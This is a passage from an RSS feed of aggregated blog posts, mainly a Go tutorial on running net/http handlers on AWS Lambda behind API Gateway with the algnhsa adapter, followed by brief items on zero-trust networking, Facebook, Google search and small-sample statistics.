    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/add&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ListenAndServe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;:8080&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I didn't want to rewrite any of my HTTP handlers. When I looked at the code, the first idea was that it would be nice to make the Lambda runtime support the existing &lt;span class="docutils literal"&gt;net/http&lt;/span&gt; handlers.&lt;/p&gt;
&lt;p&gt;The &lt;span class="docutils literal"&gt;net/http&lt;/span&gt; server consists of two main parts:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;The HTTP request multiplexer &lt;a class="reference external" href="https://golang.org/pkg/net/http/#ServeMux" target="_blank"&gt;ServeMux&lt;/a&gt; (&lt;a class="reference external" href="https://golang.org/pkg/net/http/#Handler" target="_blank"&gt;Handler&lt;/a&gt; interface) which routes all incoming requests.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The HTTP &lt;a class="reference external" href="https://golang.org/pkg/net/http/#Server" target="_blank"&gt;Server&lt;/a&gt; itself that handles the TCP connections.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can replace any of these parts, e.g. you can plug in one of the custom HTTP routers (&lt;a class="reference external" href="https://github.com/go-chi/chi" target="_blank"&gt;chi&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/gorilla/mux" target="_blank"&gt;gorilla mux&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/julienschmidt/httprouter" target="_blank"&gt;httprouter&lt;/a&gt;) that provide more features and/or better performance compared to &lt;span class="docutils literal"&gt;ServeMux&lt;/span&gt;. Similarly, you can create your own &lt;span class="docutils literal"&gt;Server&lt;/span&gt; implementation.&lt;/p&gt;
&lt;p&gt;This flexibility makes many things easier, e.g. unit testing:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;net/http&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;net/http/httptest&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;testing&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TestIndexHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indexHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;httptest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;httptest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewRecorder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DefaultServeMux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ServeHTTP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Note: you can directly call indexHandler here without involving ServeMux.&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StatusOK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;String&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fail&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you may have noticed, the Go standard library provides everything to construct &lt;span class="docutils literal"&gt;http.ResponseWriter&lt;/span&gt; and &lt;span class="docutils literal"&gt;http.Request&lt;/span&gt; objects. In order to make the Lambda SDK support &lt;span class="docutils literal"&gt;net/http&lt;/span&gt; handlers we need to convert &lt;span class="docutils literal"&gt;APIGatewayProxyRequest&lt;/span&gt; into &lt;span class="docutils literal"&gt;http.Request&lt;/span&gt;, create a mock &lt;span class="docutils literal"&gt;http.ResponseWriter&lt;/span&gt;, call the router's &lt;span class="docutils literal"&gt;ServeHTTP&lt;/span&gt; and return a new &lt;span class="docutils literal"&gt;APIGatewayProxyResponse&lt;/span&gt;. A basic implementation:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lambdaHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyResponse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;httptest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HTTPMethod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;httptest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewRecorder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DefaultServeMux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ServeHTTP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;respEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyResponse&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;StatusCode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;respEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above will work for simple handlers, but it needs a few more things to be ready for production - support headers, query string parameters and binary responses. I created a package &lt;a class="reference external" href="https://github.com/akrylysov/algnhsa" target="_blank"&gt;algnhsa&lt;/a&gt;, it can be used as a drop-in replacement for the &lt;span class="docutils literal"&gt;net/http&lt;/span&gt; server:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fmt&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;net/http&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;github.com/akrylysov/algnhsa&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indexHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;first&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;second&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Hi&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indexHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/add&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;algnhsa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ListenAndServe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DefaultServeMux&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the API Gateway side define a proxy &lt;span class="docutils literal"&gt;ANY&lt;/span&gt; method to handle requests to &lt;span class="docutils literal"&gt;/&lt;/span&gt; and a catch-all &lt;span class="docutils literal"&gt;{proxy+}&lt;/span&gt; resource to handle requests to every other path:&lt;/p&gt;
&lt;img alt="" src="https://artem.krylysov.com/images/2018-golambda/apigateway-catchall.png" /&gt;
&lt;p&gt;To make the API Gateway treat certain content types as binary, you need to add the desired types to your API's &amp;quot;Binary Media Types&amp;quot; (Settings section) and also pass them to the &lt;span class="docutils literal"&gt;algnhsa.ListenAndServe&lt;/span&gt; function:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;algnhsa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ListenAndServe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DefaultServeMux&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;image/jpeg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;image/png&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}])&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can find the algnhsa package (Lambda Go net/http server adapter) on GitHub - &lt;a class="reference external" href="https://github.com/akrylysov/algnhsa" target="_blank"&gt;https://github.com/akrylysov/algnhsa&lt;/a&gt;.&lt;/p&gt;</description><author>Artem Krylysov</author><pubDate>Thu, 18 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://artem.krylysov.com/blog/2018/01/18/porting-go-web-applications-to-aws-lambda/</guid></item><item><title>Turn Your Company Inside-Out for $3/mo</title><link>https://www.danstroot.com/posts/2018-01-18-turn-your-company-inside-out</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/citadel.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;I have already described the "inside out" corporation.  This idea was first evangelized by Google (who know a thing or two about infrastructure and security) and they called it "BeyondCorp".&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2018-01-18-turn-your-company-inside-out"&gt;Turn Your Company Inside-Out for $3/mo&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Thu, 18 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2018-01-18-turn-your-company-inside-out</guid></item><item><title>That time that Facebook declared (again) that it is a Sovereign State</title><link>https://stop.zona-m.net/2018/01/that-time-that-facebook-declared-again-that-it-is-a-sovereign-state/</link><description>&lt;p&gt;In case you missed it when it first appeared, please enjoy this interesting paragraph from Mark Zuckerberg&amp;rsquo;s &lt;a href="https://techcrunch.com/2018/01/04/mark-zuckerbergs-personal-challenge-is-all-about-fixing-facebook/"&gt;&amp;ldquo;personal challenges for 2018&amp;rdquo;&lt;/a&gt;:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 17 Jan 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/that-time-that-facebook-declared-again-that-it-is-a-sovereign-state/</guid></item><item><title>Indeed, it seems that Google IS forgetting the old Web</title><link>https://stop.zona-m.net/2018/01/indeed-it-seems-that-google-is-forgetting-the-old-web/</link><description>&lt;p&gt;XML pioneer and early blogger Tim Bray says that Google maybe suffers of deliberate memory loss. I may have found more evidence that this is the case.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 17 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/indeed-it-seems-that-google-is-forgetting-the-old-web/</guid></item><item><title>Dealing with low sample size significance testing</title><link>https://www.ashish.zip/2018/01/dealing-with-low-sample-size.html</link><description>&lt;br /&gt;
  Recently I had to analyze data with very few data points in the range of 3-15. The data consisted of 3 groups and multiple subgroups. The most obvious choice, in this case, was to use a non-parametric statistical test such as Wilcox test. The problem with the Wilcox test is that we have the problem of losing power/sensitivity. A t-test, on the other hand, may give us false-positive especially with the sample size of 3. How do we deal with this? This issue is exacerbated especially for p-value calculation. P-values seems to be necessary "evil" but below are the points to address this problem.&lt;br /&gt;
&lt;br /&gt;
These are some of the links which helped me to understand this issue:&lt;br /&gt;
https://stats.stackexchange.com/questions/14434/appropriateness-of-wilcoxon-signed-rank-test&lt;br /&gt;
https://stats.stackexchange.com/questions/2492/is-normality-testing-essentially-useless/2498#2498&lt;br /&gt;
https://stats.stackexchange.com/questions/121852/how-to-choose-between-t-test-or-non-parametric-test-e-g-wilcoxon-in-small-sampl&lt;br /&gt;
&lt;br /&gt;
I was intrigued further to carry informal "research" and found possible options.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;If we cannot determine normality, should we just use t-test anyways?&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The idea is that this experiment is to detect potential vaccine candidate in the very preliminary stage so we need to be slightly "lenient" and err on the side of allowing few false positives.&lt;/li&gt;
